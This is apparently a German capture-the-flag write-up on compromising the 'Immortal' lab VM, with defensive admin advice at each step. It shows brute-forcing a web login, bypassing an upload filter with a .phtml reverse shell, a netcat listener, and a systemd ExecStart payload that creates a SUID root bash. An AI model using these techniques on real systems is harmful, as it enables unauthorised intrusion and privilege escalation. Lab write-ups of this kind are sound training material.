192.168.2.116 08:00:27:13:bb:b5 PCS Systemtechnik GmbH
Analyse: Ein ARP-Scan wird im lokalen Netzwerk ausgeführt, um aktive Geräte mittels ARP-Protokoll zu entdecken.
Bewertung: Das Zielsystem wird mit der IP-Adresse 192.168.2.116 identifiziert. Die MAC-Adresse und der Hersteller deuten auf eine VirtualBox-VM hin.
Empfehlung (Pentester): Die IP 192.168.2.116 als Ziel für nachfolgende Scans (Nmap etc.) verwenden.
Empfehlung (Admin):** Netzwerk-Monitoring. Sicherstellen, dass nur autorisierte Geräte im Netzwerk aktiv sind.
127.0.0.1 localhost
127.0.1.1 cyber
[...]
192.168.2.116 immortal.hmv
Analyse: Die lokale `/etc/hosts`-Datei auf dem Angreifer-System wird bearbeitet, um den Hostnamen `immortal.hmv` der Ziel-IP 192.168.2.116 zuzuordnen.
Bewertung: Dies ermöglicht die Verwendung des Hostnamens anstelle der IP-Adresse, was für die Interaktion mit Webanwendungen (insbesondere bei Virtual Hosting) oft notwendig ist.
Empfehlung (Pentester): Bei allen weiteren Web-Interaktionen den Hostnamen `immortal.hmv` verwenden.
Empfehlung (Admin):** Interne DNS-Konfiguration prüfen.
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-01 20:52 CEST Nmap scan report for immortal.hmv (192.168.2.116) Host is up (0.00011s latency). Not shown: 65532 closed tcp ports (reset) PRT STATE SERVICE VERSIN 21/tcp open ftp vsftpd 3.0.3 | ftp-syst: | STAT: | FTP server status: | Connected to ::ffff:192.168.2.199 | Logged in as ftp | TYPE: ASCII | No session bandwidth limit | Session timeout in seconds is 300 | Control connection is plain text | Data connections will be plain text | At session startup, client count was 1 | vsFTPd 3.0.3 - secure, fast, stable |_End of status | ftp-anon: Anonymous FTP login allowed (FTP code 230) |_-rw-r--r-- 1 0 0 504 Feb 27 22:03 message.txt 22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0) | ssh-hostkey: | 3072 e8:79:ad:8b:d1:a8:39:1b:ac:ed:52:ef:d0:22:0e:eb (RSA) | 256 65:df:6d:1d:49:11:bd:f3:2f:fa:10:0c:3b:48:69:39 (ECDSA) |_ 256 f6:b7:bf:cf:a5:d5:1b:26:4e:13:08:31:07:d5:79:b1 (ED25519) 80/tcp open http Apache httpd 2.4.56 ((Debian)) |_http-title: Password |_http-server-header: Apache/2.4.56 (Debian) MAC Address: 08:00:27:13:BB:B5 (Oracle VirtualBox virtual NIC) [...] Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel [...]
Analyse: Ein gründlicher Nmap-Scan (`-sS`, `-sV`, `-A`, `-T5`, `-p-`) wird auf die Ziel-IP durchgeführt.
Bewertung: Drei offene TCP-Ports werden identifiziert: * **Port 21 (FTP):** vsftpd 3.0.3. Kritischer Fund: Anonymer Login ist erlaubt (`ftp-anon: Anonymous FTP login allowed`). Eine Datei `message.txt` ist sichtbar. * **Port 22 (SSH):** OpenSSH 8.4p1 (Debian). Standard-Port für Remote-Zugriff. * **Port 80 (HTTP):** Apache 2.4.56 (Debian). Der Seitentitel (`Password`) deutet stark auf eine Login-Seite hin. Die wichtigsten Angriffsvektoren sind der anonyme FTP-Zugang und die Webanwendung auf Port 80.
Empfehlung (Pentester):
1. **FTP (höchste Priorität):** Verbinden Sie sich anonym mit dem FTP-Server, laden Sie `message.txt` herunter und untersuchen Sie sie. Prüfen Sie auf Schreibrechte.
2. **HTTP:** Untersuchen Sie die Login-Seite auf Port 80 (`http://immortal.hmv`). Führen Sie Directory Busting und weitere Web-Enumeration durch.
3. **SSH:** Halten Sie dies für späteren Zugriff bereit, falls Credentials gefunden werden.
Empfehlung (Admin):**
1. **FTP:** Deaktivieren Sie anonymen FTP-Zugriff, es sei denn, er ist absolut notwendig und sicher konfiguriert. Halten Sie vsftpd aktuell.
2. **HTTP:** Sichern Sie die Login-Seite gegen Brute-Force und andere Angriffe. Halten Sie Apache aktuell.
3. **SSH:** Verwenden Sie starke Authentifizierung (Schlüssel bevorzugt). Halten Sie OpenSSH aktuell.
21/tcp open ftp vsftpd 3.0.3 22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0) 80/tcp open http Apache httpd 2.4.56 ((Debian))
Analyse: Der Nmap-Scan wird wiederholt, aber die Ausgabe wird gefiltert, um nur die offenen Ports anzuzeigen.
Bewertung: Bestätigt die drei offenen Ports: 21, 22 und 80.
Empfehlung (Pentester): Keine neuen Informationen, Fokus auf die zuvor identifizierten Ports legen.
Empfehlung (Admin):** Keine Aktion erforderlich.
- Nikto v2.5.0 --------------------------------------------------------------------------- + Target IP: 192.168.2.116 + Target Hostname: 192.168.2.116 + Target Port: 80 + Start Time: 2024-05-01 20:52:28 (GMT2) --------------------------------------------------------------------------- + Server: Apache/2.4.56 (Debian) + /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options + /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/ + No CGI Directories found (use '-C all' to force check all possible dirs) + /: Web Server returns a valid response with junk HTTP methods which may cause false positives. + 8102 requests: 0 error(s) and 3 item(s) reported on remote host + End Time: 2024-05-01 20:52:38 (GMT2) (10 seconds) --------------------------------------------------------------------------- + 1 host(s) tested
Analyse: Nikto wird verwendet, um den Webserver auf Port 80 auf häufige Fehlkonfigurationen und bekannte Schwachstellen zu scannen.
Bewertung: Nikto findet keine kritischen Schwachstellen, meldet aber das Fehlen von wichtigen HTTP-Sicherheitsheadern (`X-Frame-Options`, `X-Content-Type-Options`).
Empfehlung (Pentester): Die fehlenden Header sind informativ, aber wahrscheinlich kein direkter Angriffsvektor. Fokus auf die Login-Seite und FTP.
Empfehlung (Admin):** Implementieren Sie die fehlenden Sicherheitsheader, um die allgemeine Webseiten-Sicherheit zu erhöhen (Schutz vor Clickjacking, MIME-Sniffing).
[...]
http://immortal.hmv/index.php (Status: 200) [Size: 1837]
[...]
Analyse: Gobuster wird verwendet, um nach Verzeichnissen und Dateien auf dem Webserver (`http://immortal.hmv`, Port 80) zu suchen, wobei eine umfangreiche Liste von Endungen verwendet wird.
Bewertung: Der Scan findet nur die Datei `index.php`. Dies ist wahrscheinlich die Login-Seite, die bereits durch den Nmap-Titelscan identifiziert wurde.
Empfehlung (Pentester): Untersuchen Sie die Funktionalität von `index.php`. Versuchen Sie Standard-Credentials oder Brute-Force-Angriffe.
Empfehlung (Admin):** Sichern Sie `index.php` und alle dahinterliegenden Mechanismen.
Connected to 192.168.2.116. 220 (vsFTPd 3.0.3) Name (192.168.2.116:cyber): Anonymous 331 Please specify the password. Password: [Enter] 230 Login successful. Remote system type is UNIX. Using binary mode to transfer files.
229 Entering Extended Passive Mode (|||24617|)
150 Here comes the directory listing.
drwxr-xr-x 2 0 115 4096 Feb 27 22:03 .
drwxr-xr-x 2 0 115 4096 Feb 27 22:03 ..
-rw-r--r-- 1 0 0 504 Feb 27 22:03 message.txt
226 Directory send OK.
local: message.txt remote: message.txt
229 Entering Extended Passive Mode (|||42416|)
150 Opening BINARY mode data connection for message.txt (504 bytes).
100% |***********************************| 504 1.53 MiB/s 00:00 ETA
226 Transfer complete.
504 bytes received in 00:00 (858.96 KiB/s)
local: overflow.py remote: overflow.py
229 Entering Extended Passive Mode (|||36291|)
550 Permission denied.
550 Failed to change directory.
Analyse: Eine interaktive FTP-Sitzung wird als anonymer Benutzer gestartet. Das Verzeichnis wird aufgelistet, die Datei `message.txt` heruntergeladen, und es wird versucht, eine Datei hochzuladen (`put`) und das Verzeichnis zu wechseln (`cd`).
Bewertung: Der anonyme Login und Download funktionieren. Der Upload (`put`) schlägt fehl (Permission denied), ebenso der Versuch, das Verzeichnis zu wechseln. Dies bestätigt, dass der anonyme Benutzer nur Leserechte im Stammverzeichnis hat. Die Datei `message.txt` ist der einzige verwertbare Fund hier.
Empfehlung (Pentester): Analysieren Sie den Inhalt der heruntergeladenen `message.txt` sorgfältig.
Empfehlung (Admin):** Konfigurieren Sie anonymen FTP-Zugriff sehr restriktiv, falls er überhaupt benötigt wird.
Hey guys!
I made it, after all this time. That's right guys, the great precious immortality. The one coveted by all and achieved by none. Favoured by all and owned by none.
Now we have to be careful guys, we have to hide this from the world, from governments and other dangerous institutions.
They may even have already heard about our achievement, they are everywhere! That's why I have decided to strengthen the security of the server. What if they try to hack us!!!
Wishing you a long life, David.
Analyse: Der Inhalt der vom FTP-Server heruntergeladenen Datei `message.txt` wird angezeigt.
Bewertung: Die Nachricht enthält thematischen Text über Unsterblichkeit und Sicherheit, erwähnt aber auch einen Namen: `David`. Dies ist ein potenzieller Benutzername.
Empfehlung (Pentester): Versuchen Sie, den Benutzernamen `david` für Brute-Force-Angriffe gegen SSH (Port 22) und die Web-Login-Seite (Port 80) zu verwenden.
Empfehlung (Admin):** Vermeiden Sie das Hinterlassen von Hinweisen wie Namen in öffentlich zugänglichen Dateien.
[...] ^CThe session file ./hydra.restore was written. Type "hydra -R" to resume session.
[...] ^CThe session file ./hydra.restore was written. Type "hydra -R" to resume session.
Analyse: Hydra wird verwendet, um Brute-Force-Angriffe gegen SSH und FTP für den Benutzer `david` mit der `rockyou.txt`-Wortliste durchzuführen.
Bewertung: Beide Angriffe wurden abgebrochen (`^C`). Es wurde kein gültiges Passwort für `david` gefunden, zumindest nicht innerhalb der getesteten Zeit oder in `rockyou.txt`.
Empfehlung (Pentester): `david` ist möglicherweise nicht der richtige Benutzername, oder das Passwort ist stärker. Konzentrieren Sie sich auf die Web-Login-Seite auf Port 80. Versuchen Sie dort `admin` oder andere gängige Benutzernamen.
Empfehlung (Admin):** Verwenden Sie starke, einzigartige Passwörter. Implementieren Sie Mechanismen zur Abwehr von Brute-Force-Angriffen (z.B. Fail2Ban).
[...] Total time: 0 Processed Requests: 114441 Filtered Requests: 114437 Requests/sec.: 0
Analyse: Wfuzz wird verwendet, um nach Subdomains zu suchen, indem der Host-Header gefuzzt wird. Antworten mit Status 404 oder einer Größe von 1837 Bytes (Größe der Hauptseite) werden ignoriert.
Bewertung: Der Scan findet keine gültigen Subdomains. Die hohe Anzahl gefilterter Anfragen deutet darauf hin, dass der Server auf ungültige Hosts standardmäßig mit der Hauptseite oder einem 404-Fehler antwortet.
Empfehlung (Pentester): Subdomain-Enumeration scheint hier nicht erfolgreich zu sein. Fokus auf die Hauptanwendung.
Empfehlung (Admin):** Konfigurieren Sie den Webserver so, dass er auf Anfragen an unbekannte Hostnamen nicht mit sensiblen Informationen antwortet (Wildcard-DNS/VHost-Konfiguration prüfen).
[...] Total time: 0 Processed Requests: 220546 Filtered Requests: 220546 Requests/sec.: 0
Analyse: Wfuzz wird verwendet, um nach LFI/Parameter-Schwachstellen in `index.php` zu suchen, indem versucht wird, Parameter mit einem LFI-Payload (`../../../../etc/passwd`) zu fuzzen.
Bewertung: Der Scan findet keine anfälligen Parameter. Die `index.php` scheint nicht direkt für LFI anfällig zu sein.
Empfehlung (Pentester): LFI auf `index.php` ist unwahrscheinlich. Konzentrieren Sie sich auf die Login-Funktionalität.
Empfehlung (Admin):** Eingabevalidierung implementieren.
Analyse (Web Login Kontext): Der Bericht zeigt eine Fehlermeldung ("Incorrect credentials") und das Wort "password", was darauf hindeutet, dass Versuche unternommen wurden, sich auf der Webseite (`index.php`) einzuloggen.
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these * ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-05-01 22:44:09
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344498 login tries (l:1/p:14344498), ~896532 tries per task
[DATA] attacking http-post-form://immortal.hmv:80/index.php:password=^PASS^:Incorrect credentials
[80][http-post-form] host: immortal.hmv login: admin password: santiago
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-05-01 22:44:28
Analyse: Hydra wird verwendet, um einen Brute-Force-Angriff auf das Web-Login-Formular (`/index.php`) durchzuführen. Es wird der Benutzername `admin` und die `rockyou.txt`-Wortliste verwendet. Hydra testet POST-Anfragen und sucht nach der Zeichenkette "Incorrect credentials" im Response, um einen Fehlversuch zu erkennen.
Bewertung: Erfolg! Hydra findet das gültige Passwort `santiago` für den Benutzer `admin`.
Empfehlung (Pentester): Loggen Sie sich mit `admin:santiago` auf der Webseite (`http://immortal.hmv/index.php`) ein und untersuchen Sie die Funktionalität nach dem Login.
Empfehlung (Admin):** Verwenden Sie starke, einzigartige Passwörter für Web-Administratoren. Implementieren Sie Rate Limiting oder Captchas, um Brute-Force-Angriffe zu erschweren.
Analyse (Post-Login Enumeration): Nach dem erfolgreichen Login als `admin` wird ein neuer Pfad `/longlife17/chat/` entdeckt. In diesem Verzeichnis werden drei Textdateien (`message.txt`, `message2.txt`, `message3.txt`) gefunden.
Entdeckter Pfad nach Login: http://immortal.hmv/longlife17/chat/ Inhalt message.txt: I am very happy that you have included me in the project for the quest for immortality. I am sure we will succeed, whatever it takes. Best regards, Drake Inhalt message2.txt: Message to Eric. Remember to buy mice for the experiments, there are very few left. Also remember to tell Boyras to give us the money he owes us, or else we'll have to beat it out of him ourselves. Regards, David. Inhalt message3.txt: Message to all. I'm glad you made it, I knew you would guess the password, it's the one we always used, although Boyras recommended us to stop using it because "it was in rockyou". By the way guys, you can still upload messages to the server from this new path -> upload_an_incredible_message.php Saying goodbye very happy, David
Bewertung: Diese Nachrichten sind sehr informativ: * Sie bestätigen die Benutzernamen `Drake`, `Eric`, `Boyras`, `David`. * Sie bestätigen, dass das Passwort `santiago` schwach war ("always used", "in rockyou"). * Sie enthüllen einen neuen, wichtigen Pfad: `/upload_an_incredible_message.php`. Dies ist der wahrscheinlichste nächste Schritt.
Empfehlung (Pentester): Untersuchen Sie die Seite `http://immortal.hmv/upload_an_incredible_message.php`. Testen Sie die Upload-Funktionalität, suchen Sie nach Schwachstellen (z.B. unrestricted file upload).
Empfehlung (Admin):** Sichern Sie interne Kommunikationsbereiche. Entfernen Sie Hinweise auf interne Prozesse oder Dateipfade. Sichern Sie die Upload-Funktionalität rigoros.
[...]
http://immortal.hmv/upload_an_incredible_message.php (Status: 200) [Size: 375]
[...]
Analyse: Gobuster wird erneut ausgeführt und bestätigt die Existenz der Upload-Seite.
Bewertung: Bestätigt den Fund aus den Nachrichten.
Empfehlung (Pentester): Untersuchen Sie die Upload-Funktion.
Empfehlung (Admin):** Sichern Sie die Upload-Funktion.
Analyse (Upload-Versuche & Bypass): Es wird versucht, Dateien über `upload_an_incredible_message.php` hochzuladen. Normale Uploads scheitern mit Fehlermeldungen ("error uploading", "types not allowed"). Es wird jedoch entdeckt (impliziert), dass das Umbenennen einer PHP-Web/Reverse-Shell in `.phtml` die Filterung umgeht und der Upload erfolgreich ist. Die hochgeladene Datei landet im Verzeichnis `/longlife17/chat/`.
Versuch 1 (z.B. shell.php): Upload a file to the Immortal server These types of files are not allowed. What are you, a hacker? The file was not uploaded Versuch 2 (z.B. reverse.phtml): Upload a file to the Immortal server The file reverse.phtml has been uploaded Verzeichnisinhalt nach Upload: http://immortal.hmv/longlife17/chat/ [...] [ ] reverse.phtml 2024-05-01 23:31 5.4K [...]
Bewertung: Kritische Schwachstelle: Unrestricted File Upload durch Umbenennung der Dateiendung. Die Anwendung prüft wahrscheinlich nur auf bestimmte blockierte Endungen (wie `.php`), erlaubt aber `.phtml`. Da Apache oft so konfiguriert ist, dass `.phtml` als PHP ausgeführt wird, ermöglicht dies Remote Code Execution (RCE).
Empfehlung (Pentester): Greifen Sie auf die hochgeladene Datei `http://immortal.hmv/longlife17/chat/reverse.phtml` zu, um die darin enthaltene Reverse-Shell-Payload auszulösen.
Empfehlung (Admin):** Implementieren Sie eine robuste Dateityp-Validierung beim Upload (Whitelist statt Blacklist, Prüfung des MIME-Typs serverseitig). Konfigurieren Sie Apache so, dass unbekannte oder unsichere Endungen wie `.phtml` nicht als PHP ausgeführt werden. Speichern Sie hochgeladene Dateien außerhalb des Web-Roots und ohne Ausführungsrechte.
listening on [any] 9001 ...
connect to [192.168.2.199] from (UNKNOWN) [192.168.2.116] 44612
Linux Immortal 5.10.0-28-amd64 #1 SMP Debian 5.10.209-2 (2024-01-31) x86_64 GNU/Linux
23:32:53 up 1 min, 0 users, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Analyse: Ein Netcat-Listener wird gestartet. Nach dem Aufruf der hochgeladenen `.phtml`-Datei (Schritt nicht explizit gezeigt) wird die Reverse Shell empfangen.
Bewertung: Initialer Zugriff als Benutzer `www-data` wurde durch Ausnutzung der Upload-Schwachstelle und RCE erlangt.
Empfehlung (Pentester): Stabilisieren Sie die Shell (`sh`). Führen Sie lokale Enumeration durch (`sudo -l`, SUID-Dateien, Home-Verzeichnisse prüfen).
Empfehlung (Admin):** Beheben Sie die Upload-Schwachstelle. Untersuchen Sie das System auf die hochgeladene Datei und andere Anzeichen einer Kompromittierung.
[...]
[sudo] password for www-data:
sudo: a password is required
Analyse: `sudo -l` wird ausgeführt, um die sudo-Berechtigungen für `www-data` zu prüfen.
Bewertung: `www-data` benötigt ein Passwort für `sudo`, das nicht bekannt ist. Kein direkter PE-Vektor über `sudo` für `www-data`.
Empfehlung (Pentester): Suchen Sie nach anderen PE-Methoden (SUID, Fehlkonfigurationen, Kernel-Exploits, Passwörter in Dateien).
Empfehlung (Admin):** Korrekt konfiguriert, dass `www-data` keine (passwortlosen) sudo-Rechte hat.
31784 472 -rwsr-xr-x 1 root root 481608 Dec 21 17:09 /usr/lib/openssh/ssh-keysign 22699 52 -rwsr-xr-- 1 root messagebus 51336 Jun 6 2023 /usr/lib/dbus-1.0/dbus-daemon-launch-helper 391 88 -rwsr-xr-x 1 root root 88304 Feb 7 2020 /usr/bin/gpasswd 4372 56 -rwsr-xr-x 1 root root 55528 Jan 20 2022 /usr/bin/mount 3805 44 -rwsr-xr-x 1 root root 44632 Feb 7 2020 /usr/bin/newgrp 4374 36 -rwsr-xr-x 1 root root 35040 Jan 20 2022 /usr/bin/umount 388 60 -rwsr-xr-x 1 root root 58416 Feb 7 2020 /usr/bin/chfn 389 52 -rwsr-xr-x 1 root root 52880 Feb 7 2020 /usr/bin/chsh 37710 180 -rwsr-xr-x 1 root root 182600 Jan 14 2023 /usr/bin/sudo 3972 72 -rwsr-xr-x 1 root root 71912 Jan 20 2022 /usr/bin/su 392 64 -rwsr-xr-x 1 root root 63960 Feb 7 2020 /usr/bin/passwd
Analyse: Das System wird nach SUID-Binärdateien durchsucht.
Bewertung: Es werden nur Standard-SUID-Binaries gefunden. Kein offensichtlicher, ungewöhnlicher PE-Vektor hier.
Empfehlung (Pentester): Prüfen Sie bekannte Exploits für die gefundenen Standard-Binaries oder suchen Sie weiter nach Fehlkonfigurationen in Home-Verzeichnissen oder Diensten.
Empfehlung (Admin):** Regelmäßig überprüfen, ob SUID-Binaries notwendig sind und sicher konfiguriert sind.
david drake eric
[...] -rw-r--r-- 1 eric eric 134 Feb 27 20:59 .note.txt [...]
I think I should tell David that this immortality thing is not a good idea, although I'm sad to tell him, he's so excited about it...
[...] drwxr-xr-x 2 drake drake 4096 Feb 27 20:59 ... [...] -rw-r--r-- 1 drake drake 20 Feb 27 20:58 user.txt
nothinglivesforever
total 12
drwxr-xr-x 2 drake drake 4096 Feb 27 20:59 .
drwxr-xr-x 4 drake drake 4096 Feb 29 18:58 ..
-rw-r--r-- 1 drake drake 134 Feb 27 20:59 pass.txt
netflix : drake123
amazon : 123drake
shelldred : shell123dred (f4ns0nly)
system : kevcjnsgii
bank : myfavouritebank
nintendo : 123456
Analyse: Die Home-Verzeichnisse der Benutzer `david`, `drake` und `eric` werden untersucht (als `www-data`). In `eric`'s Home wird eine Notiz gefunden. In `drake`'s Home wird die `user.txt` und ein verstecktes Verzeichnis `...` gefunden. In diesem Verzeichnis liegt eine `pass.txt`.
Bewertung: Kritischer Fund! Die `pass.txt` enthält eine Liste von Zugangsdaten. Besonders interessant ist der Eintrag `system : kevcjnsgii`, da dies ein potenzielles Systempasswort sein könnte. Die User-Flagge `nothinglivesforever` wurde ebenfalls gefunden.
Empfehlung (Pentester): Versuchen Sie, sich mit `su` als `david`, `drake` oder `eric` anzumelden und dabei das Passwort `kevcjnsgii` zu verwenden.
Empfehlung (Admin):** Passwörter dürfen niemals im Klartext in Dateien gespeichert werden! Benutzer schulen, Home-Verzeichnisse auf unsichere Dateien prüfen.
Password: kevcjnsgii
Analyse: Es wird versucht, mit `su` und dem Passwort `kevcjnsgii` zum Benutzer `drake` zu wechseln.
Bewertung: Erfolgreich! Der Benutzerkontext wurde von `www-data` zu `drake` gewechselt.
Empfehlung (Pentester): Prüfen Sie nun die `sudo`-Rechte für `drake` (`sudo -l`).
Empfehlung (Admin):** Passwort ändern, Ursache für Klartextspeicherung finden.
Matching Defaults entries for drake on Immortal:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User drake may run the following commands on Immortal:
(eric) NOPASSWD: /usr/bin/python3 /opt/immortal.py
Analyse: Die sudo-Berechtigungen für `drake` werden geprüft.
Bewertung: `drake` darf das Python-Skript `/opt/immortal.py` als Benutzer `eric` ohne Passwort ausführen. Dies ist ein klarer Weg zur Eskalation zum Benutzer `eric`.
Empfehlung (Pentester): Führen Sie `sudo -u eric python3 /opt/immortal.py` aus. Überprüfen Sie vorher den Inhalt von `/opt/immortal.py`, falls möglich.
Empfehlung (Admin):** Überprüfen Sie diese `sudo`-Regel. Ist sie notwendig? Ist das Skript sicher? Das Ausführen von Skripten über `sudo` ist riskant.
[sudo] password for drake: kevcjnsgii
sudo: /opt/immortal.py: command not found
Analyse: Der erste Versuch, das Skript direkt auszuführen, schlägt fehl (wahrscheinlich, weil das Skript keine Shebang hat oder `sudo` sie nicht interpretiert). Der zweite Versuch, das Skript explizit mit `python3` auszuführen, ist erfolgreich.
Bewertung: Der Benutzerkontext wurde erfolgreich zu `eric` gewechselt.
Empfehlung (Pentester): Prüfen Sie `sudo -l` für `eric`.
Empfehlung (Admin):** `sudo`-Regel überprüfen.
Matching Defaults entries for eric on Immortal: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin User eric may run the following commands on Immortal: (root) NOPASSWD: sudoedit /etc/systemd/system/immortal.service (root) NOPASSWD: /usr/bin/systemctl start immortal.service (root) NOPASSWD: /usr/bin/systemctl stop immortal.service (root) NOPASSWD: /usr/bin/systemctl enable immortal.service (root) NOPASSWD: /usr/bin/systemctl disable immortal.service (root) NOPASSWD: /usr/bin/systemctl daemon-reload
Analyse: Die sudo-Berechtigungen für `eric` werden geprüft.
Bewertung: Kritischer Fund für die finale Eskalation! `eric` darf `sudoedit` (ein sicherer Editor für Dateien mit Root-Rechten) verwenden, um die systemd-Service-Datei `/etc/systemd/system/immortal.service` zu bearbeiten. Außerdem darf er diesen Dienst mit `systemctl` als `root` steuern (starten, stoppen etc.) - alles ohne Passwort.
Empfehlung (Pentester): Dies ist ein klassischer PE-Vektor über systemd-Services.
1. Bearbeiten Sie die Service-Datei mit `sudoedit /etc/systemd/system/immortal.service`.
2. Fügen Sie unter `[Service]` eine `ExecStart`-Anweisung hinzu, die eine Payload ausführt (z.B. Kopieren von `/bin/bash` nach `/tmp` und Setzen des SUID-Bits).
3. Speichern Sie die Datei.
4. Führen Sie `sudo systemctl daemon-reload` aus (obwohl dies hier nicht explizit erlaubt ist, könnte es implizit funktionieren oder nicht nötig sein).
5. Starten Sie den Service mit `sudo systemctl start immortal.service`.
6. Führen Sie die SUID-Bash aus `/tmp/bash -p`.
Empfehlung (Admin):** Gewähren Sie `sudoedit`-Rechte nur mit äußerster Vorsicht. Erlauben Sie Benutzern nicht, systemd-Services zu bearbeiten und zu steuern, wenn dies nicht absolut notwendig ist. Diese Konfiguration ist extrem unsicher.
[Unit]
Description=Immortal Service
After=network.target
[Service]
Type=oneshot
ExecStart=/bin/bash -c 'cp /bin/bash /opt/bash && chmod u+s /opt/bash'
[Install]
WantedBy=multi-user.target
Analyse: Die `immortal.service`-Datei wird mit `sudoedit` bearbeitet. Der `cat`-Befehl zeigt den neuen Inhalt: Die `ExecStart`-Direktive wurde hinzugefügt, um `/bin/bash` nach `/opt/bash` zu kopieren und das SUID-Bit zu setzen.
Bewertung: Die Payload zur Erstellung einer SUID-Bash wurde erfolgreich in die Service-Datei injiziert.
Empfehlung (Pentester): Starten Sie den Service, um die Payload auszuführen.
Empfehlung (Admin):** `sudoedit`-Recht entfernen.
total 1224
drwxr-xr-x 2 root root 4096 May 2 00:04 .
drwxr-xr-x 18 root root 4096 Feb 27 20:20 ..
-rwsr-xr-x 1 root root 1234376 May 2 00:04 bash
-rw-rw-rw- 1 root root 184 May 1 23:39 immortal.py
-rw-r--r-- 1 root root 36 Feb 28 20:19 immortal.txt
Analyse: Der modifizierte Service wird mit `sudo systemctl start` gestartet. Anschließend wird der Inhalt von `/opt` überprüft.
Bewertung: Erfolg! Die Datei `/opt/bash` existiert nun und hat das SUID-Bit gesetzt (`-rwsr-xr-x`), was bedeutet, dass sie mit Root-Rechten ausgeführt wird, unabhängig davon, wer sie startet.
Empfehlung (Pentester): Führen Sie `/opt/bash -p` aus, um eine Root-Shell zu erhalten.
Empfehlung (Admin):** Unsichere sudo-Regel entfernen. System auf verdächtige SUID-Dateien prüfen.
uid=1002(eric) gid=1002(eric) euid=0(root) groups=1002(eric)
Analyse: Die SUID-Bash `/opt/bash` wird mit der Option `-p` (preserve effective UID) ausgeführt. Der `id`-Befehl bestätigt die Rechte.
Bewertung: Fantastisch! Die effektive UID (`euid`) ist 0. Root-Zugriff wurde erlangt.
Empfehlung (Pentester): Holen Sie die Root-Flagge.
Empfehlung (Admin):** System bereinigen, alle Schwachstellen beheben.
immortal_formula.txt root.txt
fiNally1mMort4l
Analyse: Als root wird ins `/root`-Verzeichnis gewechselt und die `root.txt`-Datei ausgelesen.
Bewertung: Die Root-Flagge `fiNally1mMort4l` wurde erfolgreich gefunden.
Empfehlung (Pentester):** Bericht abschließen.
**Empfehlung (Admin):** System bereinigen.